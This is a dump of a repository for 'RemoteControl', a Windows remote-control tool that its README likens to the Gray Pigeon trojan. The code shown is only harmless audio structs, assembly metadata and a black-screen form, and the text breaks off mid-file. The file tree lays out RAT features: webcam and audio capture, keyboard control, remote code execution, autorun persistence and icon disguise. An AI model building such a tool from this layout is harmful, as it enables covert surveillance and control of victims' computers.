├── Libs ├── AForge.Controls.dll ├── AForge.Imaging.dll ├── AForge.Math.dll ├── AForge.Video.DirectShow.dll ├── AForge.Video.dll ├── AForge.dll ├── ILMerge.exe ├── ILMerge使用说明.txt ├── IrisSkin2.dll ├── Newtonsoft.Json.Lite.dll └── log4net.dll ├── README.md ├── RemoteControl.Audio ├── Codecs │ └── G711.cs ├── NativeMethods │ ├── MMSYSERR.cs │ ├── WAVEFORMATEX.cs │ ├── WAVEHDR.cs │ ├── WAVEOUTCAPS.cs │ ├── WavConstants.cs │ ├── WavFormat.cs │ └── WavMethods.cs ├── Properties │ └── AssemblyInfo.cs ├── RemoteControl.Audio.csproj ├── WavInDevice.cs ├── WavOutDevice.cs ├── WaveIn.cs ├── WaveOut.cs └── bin │ └── Debug │ └── RemoteControl.Audio.dll ├── RemoteControl.Client.Excutor ├── FrmBlackScreen.Designer.cs ├── FrmBlackScreen.cs ├── FrmBlackScreen.resx ├── FrmCamCapture.Designer.cs ├── FrmCamCapture.cs ├── FrmCamCapture.resx ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── RemoteControl.Client.Excutor.csproj ├── RemoteControl.Client.Excutor.csproj.user ├── Utils │ ├── Win32Api.cs │ └── WinMMPlayer.cs ├── app.manifest └── bin │ └── Debug │ ├── AForge.Controls.dll │ ├── AForge.Imaging.dll │ ├── AForge.Math.dll │ ├── AForge.Video.DirectShow.dll │ ├── AForge.Video.dll │ ├── AForge.dll │ ├── Client.Excutor.dat │ ├── ILMerge.exe │ ├── RemoteControl.Client.Excutor.exe │ └── combineDlls.bat ├── RemoteControl.Client.Lite ├── Handlers │ ├── AbstractRequestHandler.cs │ ├── IRequestHandler.cs │ ├── RequestCaptureScreenHandler.cs │ ├── RequestCommandHandler.cs │ ├── RequestDownloadHandler.cs │ ├── RequestGetDrivesHandler.cs │ ├── RequestGetSubFilesOrDirsHandler.cs │ ├── RequestOpenFileHandler.cs │ └── RequestUploadHandler.cs ├── Loaders │ ├── Newtonsoft.Json.Lite.dll.zip │ └── RemoteControl.Protocals.dll.zip ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── RemoteControl.Client.Lite.csproj ├── Utils │ ├── AssemblyLoader.cs │ └── ScreenUtil.cs ├── app.manifest └── bin │ └── Debug │ ├── AssemblyLoaderHelper.exe │ ├── Newtonsoft.Json.Lite.dll │ ├── RemoteControl.Client.exe │ └── RemoteControl.Protocals.dll ├── RemoteControl.Client ├── Handlers │ ├── AbstractRequestHandler.cs │ ├── IRequestHandler.cs │ ├── RequestAutoRunHandler.cs │ ├── RequestBlackScreenHandler.cs │ ├── RequestCaptureAudioHandler.cs │ ├── RequestCaptureScreenHandler.cs │ ├── RequestCaptureVideoHandler.cs │ ├── RequestCommandHandler.cs │ ├── RequestDownloadHandler.cs │ ├── RequestDownloadWebFileHandler.cs │ ├── RequestExecCodeHandler.cs │ ├── RequestGetDrivesHandler.cs │ ├── RequestGetProcessesHandler.cs │ ├── RequestGetSubFilesOrDirsHandler.cs │ ├── RequestKeyboardEventHandler.cs │ ├── RequestLockMouseHandler.cs │ ├── RequestMouseEventHandler.cs │ ├── RequestMsgBoxHandler.cs │ ├── RequestOpeCDHandler.cs │ ├── RequestOpeFileOrDirHandler.cs │ ├── RequestOpeRegistryValueNameHandler.cs │ ├── RequestOpenFileHandler.cs │ ├── RequestOpenUrlHandler.cs │ ├── RequestPlayMusicHandler.cs │ ├── RequestPowerHandler.cs │ ├── RequestQuitAppHandler.cs │ ├── RequestRestartAppHandler.cs │ ├── RequestUploadHandler.cs │ └── RequestViewRegistryKeyHandler.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── RemoteControl.Client.csproj ├── RemoteControl.Client.csproj.user ├── Res │ └── Client.Excutor.dat ├── Services │ └── CaptureVideoClient.cs ├── Utils │ ├── KeyboardOpeUtil.cs │ ├── MouseOpeUtil.cs │ └── ScreenUtil.cs ├── app.manifest └── bin │ └── Debug │ ├── Newtonsoft.Json.Lite.dll │ ├── RemoteControl.Audio.dll │ ├── RemoteControl.Client.exe │ ├── RemoteControl.Protocals.dll │ ├── audio │ ├── futurama.raw │ └── test.raw │ └── combineDlls.bat ├── RemoteControl.Protocals ├── Codec │ ├── CodecFactory.cs │ ├── CodecFactoryBase.cs │ ├── SocketSession.cs │ └── ePacketType.cs ├── Extension │ └── MyExtensions.cs ├── Generate │ ├── ClientParameters.cs │ └── ClientParametersManager.cs ├── OpeType.cs ├── Plugin │ ├── AbstractPlugin.cs │ ├── IPlugin.cs │ └── PluginLoader.cs ├── Properties │ └── AssemblyInfo.cs ├── RegistryTool │ ├── eRegistryHive.cs │ └── eRegistryValueKind.cs ├── RemoteControl.Protocals.csproj ├── Request │ ├── ProcessProperty.cs │ ├── RequestAutoRun.cs │ ├── RequestCommand.cs │ ├── RequestCopyFile.cs │ ├── RequestCreateFileOrDir.cs │ ├── RequestDeleteFileOrDir.cs │ ├── RequestDownloadWebFile.cs │ ├── RequestGetProcesses.cs │ ├── RequestGetSubFilesOrDirs.cs │ ├── RequestKeyboardEvent.cs │ ├── RequestKillProcesses.cs │ ├── RequestLockMouse.cs │ ├── RequestMessageBox.cs │ ├── RequestMouseEvent.cs │ ├── RequestMoveFile.cs │ ├── RequestOpeRegistryValueName.cs │ ├── RequestOpenFile.cs │ ├── RequestOpenUrl.cs │ ├── RequestPlayMusic.cs │ ├── RequestRenameFile.cs │ ├── RequestRunExecCode.cs │ ├── RequestStartCaptureAudio.cs │ ├── RequestStartCaptureVideo.cs │ ├── RequestStartDownload.cs │ ├── RequestStartGetScreen.cs │ ├── RequestStartUpload.cs │ ├── RequestStopGetScreen.cs │ ├── RequestTransportExecCode.cs │ ├── RequestViewRegistryKey.cs │ └── ePathType.cs ├── Response │ ├── ResponseAutoRun.cs │ ├── ResponseBase.cs │ ├── ResponseCommand.cs │ ├── ResponseCopyFile.cs │ ├── ResponseCreateFileOrDir.cs │ ├── ResponseDeleteFileOrDir.cs │ ├── ResponseGetDrives.cs │ ├── ResponseGetHostName.cs │ ├── ResponseGetProcesses.cs │ ├── ResponseGetSubFilesOrDirs.cs │ ├── ResponseMoveFile.cs │ ├── ResponseOpeRegistryValueName.cs │ ├── ResponseStartCaptureAudio.cs │ ├── ResponseStartCaptureVideo.cs │ ├── ResponseStartDownload.cs │ ├── ResponseStartDownloadHeader.cs │ ├── ResponseStartGetScreen.cs │ ├── ResponseStartUpload.cs │ ├── ResponseStopUpload.cs │ └── ResponseViewRegistryKey.cs ├── Utilities │ ├── CommonUtil.cs │ ├── ProcessUtil.cs │ ├── ResUtil.cs │ ├── SchTaskUtil.cs │ └── Win32API.cs └── bin │ ├── Debug │ ├── Newtonsoft.Json.Lite.dll │ └── RemoteControl.Protocals.dll │ └── x86 │ └── Debug │ ├── Newtonsoft.Json.Lite.dll │ └── RemoteControl.Protocals.dll ├── RemoteControl.Server ├── ClientConnectedEventArgs.cs ├── FrmAbout.Designer.cs ├── FrmAbout.cs ├── FrmAbout.resx ├── FrmBase.Designer.cs ├── FrmBase.cs ├── FrmBase.resx ├── FrmCaptureScreen.Designer.cs ├── FrmCaptureScreen.cs ├── FrmCaptureScreen.resx ├── FrmCaptureVideo.Designer.cs ├── FrmCaptureVideo.cs ├── FrmCaptureVideo.resx ├── FrmDownload.Designer.cs ├── FrmDownload.cs ├── FrmDownload.resx ├── FrmDownloadWebFile.Designer.cs ├── FrmDownloadWebFile.cs ├── FrmDownloadWebFile.resx ├── FrmInputFileOrDir.Designer.cs ├── FrmInputFileOrDir.cs ├── FrmInputFileOrDir.resx ├── FrmInputUrl.Designer.cs ├── FrmInputUrl.cs ├── FrmInputUrl.resx ├── FrmMain.Designer.cs ├── FrmMain.cs ├── FrmMain.resx ├── FrmOkCancelBase.Designer.cs ├── FrmOkCancelBase.cs ├── FrmOkCancelBase.resx ├── FrmRename.Designer.cs ├── FrmRename.cs ├── FrmRename.resx ├── FrmSelectAvatar.Designer.cs ├── FrmSelectAvatar.cs ├── FrmSelectAvatar.resx ├── FrmSelectIcon.Designer.cs ├── FrmSelectIcon.cs ├── FrmSelectIcon.resx ├── FrmSendMessage.Designer.cs ├── FrmSendMessage.cs ├── FrmSendMessage.resx ├── FrmSettings.Designer.cs ├── FrmSettings.cs ├── FrmSettings.resx ├── ListViewItemFileOrDirTag.cs ├── PacketReceivedEventArgs.cs ├── PasteInfo.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── RSCApplication.cs ├── RemoteControl.Server.csproj ├── RemoteControlServer.cs ├── SendCommandHotKey.cs ├── Settings.cs ├── SortableListView.cs ├── UIUtil.cs ├── Utils │ ├── IconChanger.cs │ ├── IconChangerExtensions.cs │ └── MsgBox.cs ├── app.config ├── app.ico ├── bin │ └── Debug │ │ ├── Avatars │ │ ├── 14321_100.png │ │ ├── 14724_100.png │ │ ├── 14726_100.png │ │ ├── 15609_100.png │ │ ├── 15746_100.png │ │ ├── 15849_100.png │ │ ├── 15942_100.png │ │ ├── 15944_100.png │ │ ├── 16005_100.png │ │ ├── 16063_100.png │ │ ├── 16206_100.png │ │ ├── 16211_100.png │ │ ├── 16212_100.png │ │ ├── 16213_100.png │ │ ├── 16219_100.png │ │ ├── 16221_100.png │ │ ├── 16224_100.png │ │ ├── 16225_100.png │ │ ├── 16228_100.png │ │ ├── 16236_100.png │ │ ├── 16237_100.png │ │ ├── 16238_100.png │ │ ├── 16242_100.png │ │ ├── 16243_100.png │ │ ├── 16247_100.gif │ │ ├── 16250_100.gif │ │ ├── 16251_100.gif │ │ ├── 16252_100.png │ │ ├── 16253_100.png │ │ ├── 16254_100.png │ │ ├── 16255_100.png │ │ ├── 16256_100.png │ │ ├── 16257_100.png │ │ ├── 16258_100.png │ │ └── 16260_100.png │ │ ├── IrisSkin2.dll │ │ ├── Newtonsoft.Json.Lite.dll │ │ ├── RemoteControl.Audio.dll │ │ ├── RemoteControl.Client.dat │ │ ├── RemoteControl.Protocals.dll │ │ ├── RemoteControl.Server.exe │ │ ├── RemoteControl.Server.exe.config │ │ ├── RemoteControl.zip │ │ ├── Skins │ │ ├── Carlmness │ │ │ ├── Calmness.ssk │ │ │ ├── CalmnessColor1.ssk │ │ │ ├── CalmnessColor2.ssk │ │ │ ├── calmness.gif │ │ │ ├── calmness_color1.gif │ │ │ └── calmness_color2.gif │ │ ├── Deep │ │ │ ├── DeepCyan.ssk │ │ │ ├── DeepGreen.ssk │ │ │ ├── DeepOrange.ssk │ │ │ ├── deepcyan.gif │ │ │ ├── deepgreen.gif │ │ │ └── deeporange.gif │ │ ├── Diamond │ │ │ ├── DiamondBlue.ssk │ │ │ ├── DiamondGreen.ssk │ │ │ ├── DiamondOlive.gif │ │ │ ├── DiamondOlive.ssk │ │ │ ├── DiamondPurple.gif │ │ │ ├── DiamondPurple.ssk │ │ │ ├── DiamondRed.gif │ │ │ ├── DiamondRed.ssk │ │ │ ├── diamondblue.gif │ │ │ └── diamondgreen.gif │ │ ├── Eighteen │ │ │ ├── Eighteen.ssk │ │ │ ├── EighteenColor1.ssk │ │ │ ├── EighteenColor2.ssk │ │ │ ├── eighteen.gif │ │ │ ├── eighteen_color1.gif │ │ │ └── eighteen_color2.gif │ │ ├── Emerald │ │ │ ├── Emerald.ssk │ │ │ ├── EmeraldColor1.ssk │ │ │ ├── EmeraldColor2.ssk │ │ │ ├── EmeraldColor3.ssk │ │ │ ├── emerald.gif │ │ │ ├── emerald_color1.gif │ │ │ ├── emerald_color2.gif │ │ │ └── emerald_color3.gif │ │ ├── Glass │ │ │ ├── GlassBrown.ssk │ │ │ ├── GlassGreen.ssk │ │ │ ├── GlassOrange.ssk │ │ │ ├── glassbrown.gif │ │ │ ├── glassgreen.gif │ │ │ └── glassorange.gif │ │ ├── Longhorn │ │ │ ├── Longhorn.ssk │ │ │ └── longhorn.gif │ │ ├── MP10 │ │ │ ├── mp10.gif │ │ │ ├── mp10.ssk │ │ │ ├── mp10green.gif │ │ │ ├── mp10green.ssk │ │ │ ├── mp10maroon.gif │ │ │ ├── mp10maroon.ssk │ │ │ ├── mp10mulberry.gif │ │ │ ├── mp10mulberry.ssk │ │ │ ├── mp10pink.gif │ │ │ ├── mp10pink.ssk │ │ │ ├── mp10purple.gif │ │ │ └── mp10purple.ssk │ │ ├── MSN │ │ │ ├── MSN.ssk │ │ │ └── msn.gif │ │ ├── MacOS │ │ │ ├── MacOS.ssk │ │ │ └── macos.gif │ │ ├── Midsummer │ │ │ ├── Midsummer.ssk │ │ │ ├── MidsummerColor1.ssk │ │ │ ├── MidsummerColor2.ssk │ │ │ ├── MidsummerColor3.ssk │ │ │ ├── midsummer.gif │ │ │ ├── midsummer_color1.gif │ │ │ ├── midsummer_color2.gif │ │ │ └── midsummer_color3.gif │ │ ├── Office2007 │ │ │ ├── office2007.gif │ │ │ └── office2007.ssk │ │ ├── One │ │ │ ├── OneBlue.ssk │ │ │ ├── OneCyan.ssk │ │ │ ├── OneGreen.ssk │ │ │ ├── OneOrange.ssk │ │ │ ├── oneblue.gif │ │ │ ├── onecyan.gif │ │ │ ├── onegreen.gif │ │ │ └── oneorange.gif │ │ ├── Page │ │ │ ├── Page.ssk │ │ │ ├── PageColor1.ssk │ │ │ ├── PageColor2.ssk │ │ │ ├── page.gif │ │ │ ├── page_color1.gif │ │ │ └── page_color2.gif │ │ ├── RealOne │ │ │ ├── RealOne.ssk │ │ │ └── realone.gif │ │ ├── Silver │ │ │ ├── Silver.ssk │ │ │ ├── SilverColor1.ssk │ │ │ ├── SilverColor2.ssk │ │ │ ├── silver.gif │ │ │ ├── silver_color1.gif │ │ │ └── silver_color2.gif │ │ ├── Sports │ │ │ ├── SportsBlack.ssk │ │ │ ├── SportsBlue.ssk │ │ │ ├── SportsCyan.ssk │ │ │ ├── SportsGreen.ssk │ │ │ ├── SportsOrange.ssk │ │ │ ├── sportsblack.gif │ │ │ ├── sportsblue.gif │ │ │ ├── sportscyan.gif │ │ │ ├── sportsgreen.gif │ │ │ └── sportsorange.gif │ │ ├── Steel │ │ │ ├── SteelBlack.ssk │ │ │ ├── SteelBlue.ssk │ │ │ ├── steelblack.gif │ │ │ └── steelblue.gif │ │ ├── Vista1 │ │ │ ├── vista1.gif │ │ │ ├── vista1.ssk │ │ │ ├── vista1_green.gif │ │ │ └── vista1_green.ssk │ │ ├── Vista2 │ │ │ ├── Vista2_color1.ssk │ │ │ ├── Vista2_color2.ssk │ │ │ ├── Vista2_color3.ssk │ │ │ ├── Vista2_color4.ssk │ │ │ ├── Vista2_color5.ssk │ │ │ ├── Vista2_color6.ssk │ │ │ ├── Vista2_color7.ssk │ │ │ ├── vista2_color1.gif │ │ │ ├── vista2_color2.gif │ │ │ ├── vista2_color3.gif │ │ │ ├── vista2_color4.gif │ │ │ ├── vista2_color5.gif │ │ │ ├── vista2_color6.gif │ │ │ └── vista2_color7.gif │ │ ├── Warm │ │ │ ├── Warm.ssk │ │ │ ├── WarmColor1.ssk │ │ │ ├── WarmColor2.ssk │ │ │ ├── WarmColor3.ssk │ │ │ ├── warm.gif │ │ │ ├── warm_color1.gif │ │ │ ├── warm_color2.gif │ │ │ └── warm_color3.gif │ │ ├── Wave │ │ │ ├── Wave.ssk │ │ │ ├── WaveColor1.ssk │ │ │ ├── WaveColor2.ssk │ │ │ ├── wave.gif │ │ │ ├── wave_color1.gif │ │ │ └── wave_color2.gif │ │ └── WinXP │ │ │ ├── XPBlue.ssk │ │ │ ├── XPGreen.ssk │ │ │ ├── XPOrange.ssk │ │ │ ├── XPSilver.ssk │ │ │ ├── xpblue.gif │ │ │ ├── xpgreen.gif │ │ │ ├── xporange.gif │ │ │ └── xpsilver.gif │ │ ├── Tools │ │ ├── EnigmaVirtualBox_7.3.exe │ │ ├── Interop.ThunderAgentLib.dll │ │ ├── MusicHunter.exe │ │ ├── Newtonsoft.Json.Net35.dll │ │ └── 图标转换.exe │ │ ├── config.json │ │ └── log4net.dll ├── control.png └── ePathType.cs ├── RemoteControl.sln ├── RemoteControl.userprefs ├── Resources ├── back.png ├── category.png ├── copy.png ├── cut.png ├── delete.png ├── disk.png ├── download.png ├── dvd.png ├── folder.png ├── newTXT.png ├── newfolder.png ├── paste.png ├── qq.png ├── setting.png └── upload.png └── copy.bat /Libs/AForge.Controls.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Controls.dll -------------------------------------------------------------------------------- /Libs/AForge.Imaging.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Imaging.dll -------------------------------------------------------------------------------- /Libs/AForge.Math.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Math.dll -------------------------------------------------------------------------------- /Libs/AForge.Video.DirectShow.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Video.DirectShow.dll -------------------------------------------------------------------------------- /Libs/AForge.Video.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Video.dll -------------------------------------------------------------------------------- /Libs/AForge.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.dll -------------------------------------------------------------------------------- /Libs/ILMerge.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/ILMerge.exe -------------------------------------------------------------------------------- /Libs/ILMerge使用说明.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/ILMerge使用说明.txt -------------------------------------------------------------------------------- /Libs/IrisSkin2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/IrisSkin2.dll -------------------------------------------------------------------------------- /Libs/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /Libs/log4net.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/log4net.dll -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RemoteControl 2 | 远程控制,类似于灰鸽子 3 | -------------------------------------------------------------------------------- /RemoteControl.Audio/NativeMethods/WAVEHDR.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace RemoteControl.Audio.NativeMethods 7 | { 8 | /// 9 | /// This class represents WAVEHDR structure. 10 | /// 11 | [StructLayout(LayoutKind.Sequential)] 12 | internal struct WAVEHDR 13 | { 14 | /// 15 | /// Long pointer to the address of the waveform buffer. 16 | /// 17 | public IntPtr lpData; 18 | /// 19 | /// Specifies the length, in bytes, of the buffer. 20 | /// 21 | public uint dwBufferLength; 22 | /// 23 | /// When the header is used in input, this member specifies how much data is in the buffer. 24 | /// When the header is used in output, this member specifies the number of bytes played from the buffer. 25 | /// 26 | public uint dwBytesRecorded; 27 | /// 28 | /// Specifies user data. 29 | /// 30 | public IntPtr dwUser; 31 | /// 32 | /// Specifies information about the buffer. 33 | /// 34 | public uint dwFlags; 35 | /// 36 | /// Specifies the number of times to play the loop. 37 | /// 38 | public uint dwLoops; 39 | /// 40 | /// Reserved. This member is used within the audio driver to maintain a first-in, first-out linked list of headers awaiting playback. 41 | /// 42 | public IntPtr lpNext; 43 | /// 44 | /// Reserved. 45 | /// 46 | public uint reserved; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /RemoteControl.Audio/NativeMethods/WAVEOUTCAPS.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace RemoteControl.Audio.NativeMethods 7 | { 8 | /// 9 | /// This class represents WAVEOUTCAPS structure. 10 | /// 11 | [StructLayout(LayoutKind.Sequential)] 12 | internal struct WAVEOUTCAPS 13 | { 14 | /// 15 | /// Manufacturer identifier for the device driver for the device. 16 | /// 17 | public ushort wMid; 18 | /// 19 | /// Product identifier for the device. 20 | /// 21 | public ushort wPid; 22 | /// 23 | /// Version number of the device driver for the device. 24 | /// 25 | public uint vDriverVersion; 26 | /// 27 | /// Product name in a null-terminated string. 28 | /// 29 | [MarshalAs(UnmanagedType.ByValTStr,SizeConst = 32)] 30 | public string szPname; 31 | /// 32 | /// Standard formats that are supported. 33 | /// 34 | public uint dwFormats; 35 | /// 36 | /// Number specifying whether the device supports mono (1) or stereo (2) output. 37 | /// 38 | public ushort wChannels; 39 | /// 40 | /// Packing. 41 | /// 42 | public ushort wReserved1; 43 | /// 44 | /// Optional functionality supported by the device. 45 | /// 46 | public uint dwSupport; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /RemoteControl.Audio/NativeMethods/WavConstants.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace RemoteControl.Audio.NativeMethods 6 | { 7 | /// 8 | /// This class provides most used wav constants. 9 | /// 10 | internal class WavConstants 11 | { 12 | public const int MM_WOM_OPEN = 0x3BB; 13 | public const int MM_WOM_CLOSE = 0x3BC; 14 | public const int MM_WOM_DONE = 0x3BD; 15 | 16 | public const int MM_WIM_OPEN = 0x3BE; 17 | public const int MM_WIM_CLOSE = 0x3BF; 18 | public const int MM_WIM_DATA = 0x3C0; 19 | 20 | 21 | public const int CALLBACK_FUNCTION = 0x00030000; 22 | 23 | public const int WAVERR_STILLPLAYING = 0x21; 24 | 25 | public const int WHDR_DONE = 0x00000001; 26 | public const int WHDR_PREPARED = 0x00000002; 27 | public const int WHDR_BEGINLOOP = 0x00000004; 28 | public const int WHDR_ENDLOOP = 0x00000008; 29 | public const int WHDR_INQUEUE = 0x00000010; 30 | 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /RemoteControl.Audio/NativeMethods/WavFormat.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace RemoteControl.Audio.NativeMethods 6 | { 7 | /// 8 | /// This class holds most known wav compression formats. 9 | /// 10 | internal class WavFormat 11 | { 12 | public const int PCM = 0x0001; 13 | /* 14 | public const int ADPCM = 0x0002; 15 | public const int ALAW = 0x0006; 16 | public const int MULAW = 0x0007; 17 | public const int G723_ADPCM = 0x0014; 18 | public const int GSM610 = 0x0031; 19 | public const int G721_ADPCM = 0x0040; 20 | public const int G726_ADPCM = 0x0064; 21 | public const int G722_ADPCM = 0x006; 22 | public const int G729A = 0x0083;*/ 23 | 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /RemoteControl.Audio/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过以下 6 | // 特性集控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("RemoteControl.Audio")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RemoteControl.Audio")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("0b639bd4-9bd2-4c32-884d-e2e3e6c92932")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RemoteControl.Audio/WavInDevice.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace RemoteControl.Audio 6 | { 7 | /// 8 | /// This class represents wav input device. 9 | /// 10 | public class WavInDevice 11 | { 12 | private int m_Index = 0; 13 | private string m_Name = ""; 14 | private int m_Channels = 1; 15 | 16 | /// 17 | /// Default constructor. 18 | /// 19 | /// Device index in devices. 20 | /// Device name. 21 | /// Number of audio channels. 22 | internal WavInDevice(int index,string name,int channels) 23 | { 24 | m_Index = index; 25 | m_Name = name; 26 | m_Channels = channels; 27 | } 28 | 29 | 30 | #region Properties Implementation 31 | 32 | /// 33 | /// Gets device name. 34 | /// 35 | public string Name 36 | { 37 | get{ return m_Name; } 38 | } 39 | 40 | /// 41 | /// Gets number of input channels(mono,stereo,...) supported. 42 | /// 43 | public int Channels 44 | { 45 | get{ return m_Channels; } 46 | } 47 | 48 | 49 | /// 50 | /// Gets device index in devices. 51 | /// 52 | internal int Index 53 | { 54 | get{ return m_Index; } 55 | } 56 | 57 | #endregion 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /RemoteControl.Audio/WavOutDevice.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace RemoteControl.Audio 6 | { 7 | /// 8 | /// This class represents wav output device. 9 | /// 10 | public class WavOutDevice 11 | { 12 | private int m_Index = 0; 13 | private string m_Name = ""; 14 | private int m_Channels = 1; 15 | 16 | /// 17 | /// Default constructor. 18 | /// 19 | /// Device index in devices. 20 | /// Device name. 21 | /// Number of audio channels. 22 | internal WavOutDevice(int index,string name,int channels) 23 | { 24 | m_Index = index; 25 | m_Name = name; 26 | m_Channels = channels; 27 | } 28 | 29 | 30 | #region Properties Implementation 31 | 32 | /// 33 | /// Gets device name. 34 | /// 35 | public string Name 36 | { 37 | get{ return m_Name; } 38 | } 39 | 40 | /// 41 | /// Gets number of output channels(mono,stereo,...) supported. 42 | /// 43 | public int Channels 44 | { 45 | get{ return m_Channels; } 46 | } 47 | 48 | 49 | /// 50 | /// Gets device index in devices. 51 | /// 52 | internal int Index 53 | { 54 | get{ return m_Index; } 55 | } 56 | 57 | #endregion 58 | 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /RemoteControl.Audio/bin/Debug/RemoteControl.Audio.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Audio/bin/Debug/RemoteControl.Audio.dll -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/FrmBlackScreen.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace RemoteControl.Client.Excutor 2 | { 3 | partial class FrmBlackScreen 4 | { 5 | /// 6 | /// 必需的设计器变量。 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// 清理所有正在使用的资源。 12 | /// 13 | /// 如果应释放托管资源,为 true;否则为 false。 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows 窗体设计器生成的代码 24 | 25 | /// 26 | /// 设计器支持所需的方法 - 不要 27 | /// 使用代码编辑器修改此方法的内容。 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.SuspendLayout(); 32 | // 33 | // FrmMain 34 | // 35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 37 | this.BackColor = System.Drawing.Color.Black; 38 | this.ClientSize = new System.Drawing.Size(284, 262); 39 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; 40 | this.KeyPreview = true; 41 | this.Name = "FrmMain"; 42 | this.ShowIcon = false; 43 | this.ShowInTaskbar = false; 44 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 45 | this.Text = "BlackScreen"; 46 | this.TopMost = true; 47 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmMain_FormClosing); 48 | this.Load += new System.EventHandler(this.FrmMain_Load); 49 | this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FrmMain_KeyUp); 50 | this.ResumeLayout(false); 51 | 52 | } 53 | 54 | #endregion 55 | 56 | 57 | } 58 | } 59 | 60 | -------------------------------------------------------------------------------- /RemoteControl.Client.Excutor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using 